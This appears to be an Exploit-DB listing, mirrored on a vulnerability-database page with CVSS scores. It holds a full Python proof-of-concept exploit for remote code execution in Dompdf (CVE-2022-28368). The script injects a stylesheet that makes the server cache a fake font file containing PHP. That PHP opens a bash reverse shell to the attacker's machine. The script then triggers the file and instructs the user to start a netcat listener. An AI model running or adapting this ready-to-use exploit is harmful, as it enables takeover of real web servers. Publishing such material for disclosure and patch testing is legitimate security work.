Lucene search

K
exploitdbRavindu WickramasingheEDB-ID:51270
HistoryApr 06, 2023 - 12:00 a.m.

Dompdf 1.2.1 - Remote Code Execution (RCE)

2023-04-0600:00:00
Ravindu Wickramasinghe
www.exploit-db.com
178
remote code execution
dompdf
cve-2022-28368
github repository
poc
exploit author
vendor homepage
software link
version
kali linux
testing
known issues
help doc

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

0.161 Low

EPSS

Percentile

96.0%

#!/usr/bin/python3

# Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE)
# Date: 16 February 2023
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://dompdf.github.io/
# Software Link: https://github.com/dompdf/dompdf
# Version: <1.2.1
# Tested on: Kali linux
# CVE : CVE-2022-28368
# Github Link   : https://github.com/rvizx/CVE-2022-28368
  
import subprocess
import re
import os
import sys
import curses
import requests
import base64
import argparse
import urllib.parse 
from urllib.parse import urlparse

def banner():
    print('''

                \033[2mCVE-2022-28368\033[0m - Dompdf RCE\033[2m PoC Exploit
                \033[0mRavindu Wickramasinghe\033[2m | rvz  - @rvizx9
                https://github.com/rvizx/\033[0mCVE-2022-28368

''')

exploit_font = b"AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="

def get_ip_addresses():
    output = subprocess.check_output(['ifconfig']).decode()
    ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
    ip_addresses = re.findall(ip_pattern, output)
    ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
    ip_addresses = list(set(ip_addresses))
    ip_addresses.insert(0, 'localhost')
    return ip_addresses

def choose_ip_address(stdscr, ip_addresses):
    curses.curs_set(0)
    curses.noecho()
    stdscr.keypad(True)
    current_row = 0
    num_rows = len(ip_addresses)
    stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
    while True:
        stdscr.clear()
        stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
        for i, ip_address in enumerate(ip_addresses):
            if i == current_row:
                stdscr.addstr(ip_address, curses.A_REVERSE)
            else:
                stdscr.addstr(ip_address)
            stdscr.addstr("\n")
        key = stdscr.getch()
        if key == curses.KEY_UP and current_row > 0:
            current_row -= 1
        elif key == curses.KEY_DOWN and current_row < num_rows - 1:
            current_row += 1
        elif key == curses.KEY_ENTER or key in [10, 13]:
            return ip_addresses[current_row]

def help():
    print('''
usage: 
    ./dompdf-rce --inject <css-inject-endpoint> --dompdf <dompdf-instance>  

example:
    ./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/

notes: 
    - Provide the parameters in the URL (regardless the request method)
    - Known Issues!  - Testing with https://github.com/positive-security/dompdf-rce                 
        The program has been successfully tested for RCE on some systems where dompdf was implemented,
        But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce
        due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2. 
        In this application, the same implementation  was added for now.    
        Although it may be pointless at the moment, you can still manually add the payload 
        by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php    
    
    - more : https://www.cve.org/CVERecord?id=CVE-2022-28368
''')

    sys.exit()

def check_url(url):
    regex = re.compile(
        r'^(?:http|ftp)s?://' 
        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
        r'localhost|'  
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
        r'(?::\d+)?'
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)
    if not re.match(regex, url):
        print(f"\033[91m[err]:\033[0m {url} is not a valid url")
        return False
    else:
        return True


def final_param(url):
    query_start = url.rfind('?')
    if query_start == -1:
        query_start = url.rfind('&')
    if query_start == -1:
        return None
    query_string = url[query_start+1:]

    for param in reversed(query_string.split('&')):
        if '=' in param:
            name = param.split('=')[0]
            if name:
                return name
    return None


if __name__ == '__main__':
    banner()
    ports = ['9001', '9002']
    for port in ports:
        try:
            processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8")
            for line in processes.split("\n"):
                if "LISTEN" in line:
                    pid = line.split()[1]
                    port = line.split()[8].split(":")[1]
                    if port == "9001" or port == "9002":
                        os.system("kill -9 {}".format(pid))
            print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated')        
        except:
            pass

    if len(sys.argv) == 1:
        print("\033[91m[err]:\033[0m no endpoints were provided. try --help")
        sys.exit(1)

    elif sys.argv[1] == "--help" or sys.argv[1] == "-h":
        help()

    elif len(sys.argv) > 1:
        parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject <css-inject-endpoint/file-with-multiple-endpoints> --dompdf <dompdf-instance-endpoint>")
        parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True)
        parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True)
        args = parser.parse_args()
        injectpoint = args.inject
        dompdf_url = args.dompdf

        if not check_url(injectpoint) and (not check_url(dompdf_url)):
            sys.exit()   

        param=final_param(injectpoint)
        if param == None:
            print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ")
            sys.exit()

        ip_addresses = get_ip_addresses()
        sip = curses.wrapper(choose_ip_address, ip_addresses)
        print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')
        
        shell = '''<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'''+sip+'''/9002 0>&1'");?>'''
        print("\033[94m[inf]:\033[0m using payload: " +shell)
        
        print("\033[94m[inf]:\033[0m generating exploit.css and exploit_font.php files...")        
        decoded_data = base64.b64decode(exploit_font).decode('utf-8')
        decoded_data += '\n' + shell
        css = '''
@font-face {
    font-family:'exploitfont';
    src:url('http://'''+sip+''':9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
}
        '''
        with open("exploit.css","w") as f:
                    f.write(css)
        with open("exploit_font.php","w") as f:
            f.write(decoded_data)
        print("\033[94m[inf]:\033[0m starting http server on port 9001..")
        http_server = subprocess.Popen(['python', '-m', 'http.server', '9001'])
        url = "http://"+sip+":9001/exploit_font.php"
        echo_output = subprocess.check_output(['echo', '-n', url.encode()])
        md5sum_output = subprocess.check_output(['md5sum'], input=echo_output)
        md5_hash = md5sum_output.split()[0].decode()
        print("\033[94m[inf]:\033[0m url hash: "+md5_hash)
        print("\033[94m[inf]:\033[0m filename: exploitfont_normal_"+md5_hash+".php")
        print("\033[94m[inf]:\033[0m sending the payloads..\n")
        
        url = injectpoint
        if url.endswith("/"):
            url = url[:-1]

        headers = {
                'Host': urlparse(injectpoint).hostname,
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'Connection': 'close',
                'Upgrade-Insecure-Requests': '1',
                'Content-Type': 'application/x-www-form-urlencoded',
        }

        payload="<link rel=stylesheet href=\'http://"+sip+":9001/exploit.css\'>"
        data = '{\r\n"'+param+'": "'+payload+'"\r\n}'            
        try:
            response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,)
            response2 = requests.post(url, headers=headers, data=data, verify=False)
        except:
            print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host")
            sys.exit()

        if response1.status_code == 200 or response2.status_code == 200:
            print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200")
        else:
            print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code))

        print("\033[94m[inf]:\033[0m terminating the http server..")
        http_server.terminate()

        print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)")
        print("\nnc -lvnp 9002")
        input("\n\033[93m[ins]:\033[0m press enter to continue!")
        print("\033[93m[ins]:\033[0m check for connections!")
        
        del headers['Content-Type']        
        url = dompdf_url
        if url.endswith("/"):
            url = url[:-1]

        url+="/lib/fonts/exploitfont_normal_"+md5_hash+".php"        
        response = requests.get(
            url,
            headers=headers,
            verify=False,  )
         
        if response.status_code == 200:
            print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
        else:
            print("\n\033[91m[err]: failed to trigger the payload! \033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))         
        print("\033[94m[inf]:\033[0m process complete!")

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

0.161 Low

EPSS

Percentile

96.0%